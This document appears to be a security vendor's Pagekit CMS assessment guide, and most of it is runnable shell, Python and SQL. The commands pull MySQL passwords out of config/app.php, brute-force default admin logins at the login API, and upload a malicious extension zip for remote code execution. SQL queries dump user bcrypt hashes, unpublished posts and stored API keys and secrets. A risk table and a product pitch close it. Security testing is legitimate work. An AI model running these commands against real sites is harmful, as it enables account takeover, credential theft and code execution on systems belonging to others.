Pagekit is a modern PHP CMS built on Vue.js and the Symfony framework components. Key assessment areas: config/app.php exposes MySQL credentials (database.connections.mysql.password); the admin panel at /admin defaults to admin/admin on fresh installs; pk_user stores all user accounts with bcrypt hashes; and the Extension Manager allows installation of arbitrary PHP packages via .zip upload. This guide covers systematic Pagekit CMS security assessment.
# Pagekit — config/app.php MySQL credential extraction
PAGEKIT_URL="https://site.example.com"
# config/app.php — Pagekit database configuration (PHP array)
python3 -c "
import re
content = open('/var/www/pagekit/config/app.php').read()
patterns = {
'password': r\"'password'\s*=>\s*'([^']+)'\",
'user': r\"'user'\s*=>\s*'([^']+)'\",
'dbname': r\"'dbname'\s*=>\s*'([^']+)'\",
'host': r\"'host'\s*=>\s*'([^']+)'\",
'prefix': r\"'prefix'\s*=>\s*'([^']*)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# 'password' => 'mysql-password-here' <-- MySQL password (CRITICAL)
# Pagekit also supports SQLite
grep -E "sqlite|database|dbname" /var/www/pagekit/config/app.php 2>/dev/null
# Check config/app.php web access (must return 403/404)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAGEKIT_URL}/config/app.php" 2>/dev/null)
echo "/config/app.php: HTTP ${STATUS}"
# Test admin credentials at /admin
for CRED in "admin:admin" "admin@example.com:admin" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${PAGEKIT_URL}/api/user/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" \
-c /tmp/pk_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Pagekit admin panel — extension installation and RCE assessment
PAGEKIT_URL="https://site.example.com"
# Pagekit admin at /admin (configurable but /admin is default)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PAGEKIT_URL}/admin" 2>/dev/null)
echo "/admin: HTTP ${STATUS}"
# Pagekit REST API — authentication endpoint
curl -s -X POST "${PAGEKIT_URL}/api/user/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' 2>/dev/null | \
python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
token = d.get('token', '')
if token: print(f'Auth token: {token[:50]}...')
uid = d.get('user', {}).get('id', 'none')
role = d.get('user', {}).get('roles', [])
print(f'UID: {uid}, roles: {role}')
except: pass
" 2>/dev/null
# Pagekit Extension Manager — install package from .zip
# Admin auth required; uploads and installs arbitrary PHP extensions
API_TOKEN="extracted-jwt-token"
curl -s -X POST "${PAGEKIT_URL}/api/package/upload" \
-H "Authorization: Bearer ${API_TOKEN}" \
-F "file=@/tmp/malicious_ext.zip" 2>/dev/null | head -5
# Pagekit Marketplace API — list installed extensions
curl -s "${PAGEKIT_URL}/api/package/themes" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | \
python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
for pkg in d[:5]:
print(f' {pkg.get(\"name\")}: {pkg.get(\"version\")}')
except: pass
" 2>/dev/null
# Pagekit MySQL database — pk_user hash and content extraction
DB_PASS="extracted-db-password"
mysql -u pagekit -p"${DB_PASS}" pagekit 2>/dev/null << 'EOF'
-- pk_user — Pagekit user accounts with bcrypt hashes
SELECT u.id, u.username, u.email, u.password,
u.status, -- 1 = active
u.registered, u.login,
u.name
FROM pk_user u
WHERE u.status = 1
ORDER BY u.id;
-- password: bcrypt hash ($2y$10$...)
-- Check roles via pk_user_role join
-- pk_user_role — user to role mapping
SELECT ur.user_id, ur.role_id, r.name AS role_name
FROM pk_user_role ur
JOIN pk_role r ON r.id = ur.role_id
ORDER BY ur.user_id;
-- Administrator role: full admin panel access
-- Editor, Author, etc.
-- pk_post — blog posts including unpublished/private drafts
SELECT p.id, p.title, p.slug,
p.status, -- 1=published, 2=draft, 3=pending
p.modified, p.date,
u.username AS author
FROM pk_post p
LEFT JOIN pk_user u ON u.id = p.user_id
WHERE p.status IN (2, 3) -- drafts and pending
ORDER BY p.modified DESC
LIMIT 20;
-- pk_option — Pagekit system settings (may contain API keys)
SELECT o.name, o.value
FROM pk_option o
WHERE o.name LIKE '%key%' OR o.name LIKE '%secret%'
OR o.name LIKE '%password%' OR o.name LIKE '%api%'
ORDER BY o.name
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| admin/admin default credential testing at /api/user/login | POST /api/user/login JSON — admin/admin returns JWT token; full admin panel access including Extension Manager PHP code execution | Critical |
| config/app.php MySQL password web accessibility | GET /config/app.php — HTTP 200 = MySQL password direct exposure; also exposes app secret key enabling JWT forgery without any credentials | Critical |
| pk_user bcrypt hash extraction with role identification | MySQL SELECT password FROM pk_user JOIN pk_user_role — bcrypt $2y$10$ hashes; Administrator role = full admin panel and Extension Manager RCE | High |
| Extension Manager .zip upload PHP code execution | POST /api/package/upload — authenticated admin uploads malicious PHP extension .zip; extracted and executed with web server privileges for RCE | High |
| pk_option API key and secret extraction | MySQL SELECT value FROM pk_option WHERE name LIKE '%key%' — integration API keys, SMTP passwords, and OAuth secrets stored in site options table | Medium |
Ironimo tests Pagekit deployments for admin/admin default credential brute-force at /api/user/login JWT endpoint, config/app.php MySQL password and app secret key web accessibility, pk_user bcrypt hash extraction with Administrator role identification, Extension Manager .zip upload PHP code execution assessment, pk_post draft and private post content enumeration, pk_option API key and integration secret extraction, Pagekit version disclosure for CVE targeting, /config/ directory web accessibility verification, JWT token forgeability if app secret exposed, and pk_user_role administrator account audit.
Start free scan